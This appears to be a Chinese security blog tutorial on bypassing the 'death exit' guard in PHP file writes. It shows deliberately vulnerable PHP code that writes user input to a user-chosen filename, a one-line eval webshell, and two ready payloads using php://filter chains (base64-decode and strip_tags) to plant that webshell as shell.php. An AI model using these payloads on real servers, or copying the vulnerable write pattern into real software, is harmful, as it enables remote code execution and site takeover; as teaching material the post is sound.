PHP文件上传绕过-死亡exit

网络安全 · 2023-09-09 · 944 人浏览

场景

在写入PHP文件的操作时,在文件最前面添加<?php exit();?>,使得就算用户写入了一句话木马也无法调用执行。通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。

一般采用这种形式:

file_put_contents($content, '<?php exit();'.$content);

如果插入一句话木马:

<?php exit();?>//PHP解释器执行到这就会中断,导致后续一句话木马不能执行。
<?php @eval($_POST['shell']);?>

漏洞源码

<?php
    $content = '<?php exit();?>';
    $content .= $_POST['txt'];

    file_put_contents($_POST['filename'], $content);
?>

代码审计

将用户输入的含有PHP代码的数据拼接死亡exit之后写入文件并保存,同时文件的名称也是由用户指定的。若要注入一句话木马,就需要绕过死亡exit。

base64绕过

我们可以利用filter协议的base64转换过滤器进行绕过。
根据的代码审计得出的结果,我们可以知道用户提交一个数据会被拼接死亡exit之后写入文件,从而避免恶意的PHP代码执行。

php://filterconvert.base64-decode方法有一个特性,在遇到不可解码的字符时会选择性的跳过,这个时候base64 就相当于以下过程:

$txt = preg_replace('|[^a-z0-9A-Z+/]|s', '', $txt);
base64_decode($txt);

我们的死亡exit为<?php exit();?>,中间带的<>?()和空格等符号都会被除去,剩下的只有phpexit,Base64是4位一组,我们在我们的一句话木马的Base64编码前加一个'a',使得前凑齐八个字符,不会影响到我们的一句话木马解码,从而使死亡exit失效。
payload:

txt=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=convert.base64-decode/resource=shell.php

a:凑齐4字节添加
PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==<?php @eval($_POST['shell']);?>的Base64编码。
php://filter/write=convert.base64-decode/resource=shell.php:将输入文件的流进行Base64解码处理。

strip_tags绕过

这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。
注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
payload:

txt=PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
文件上传 PHP 绕过技巧 原理教程 944 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao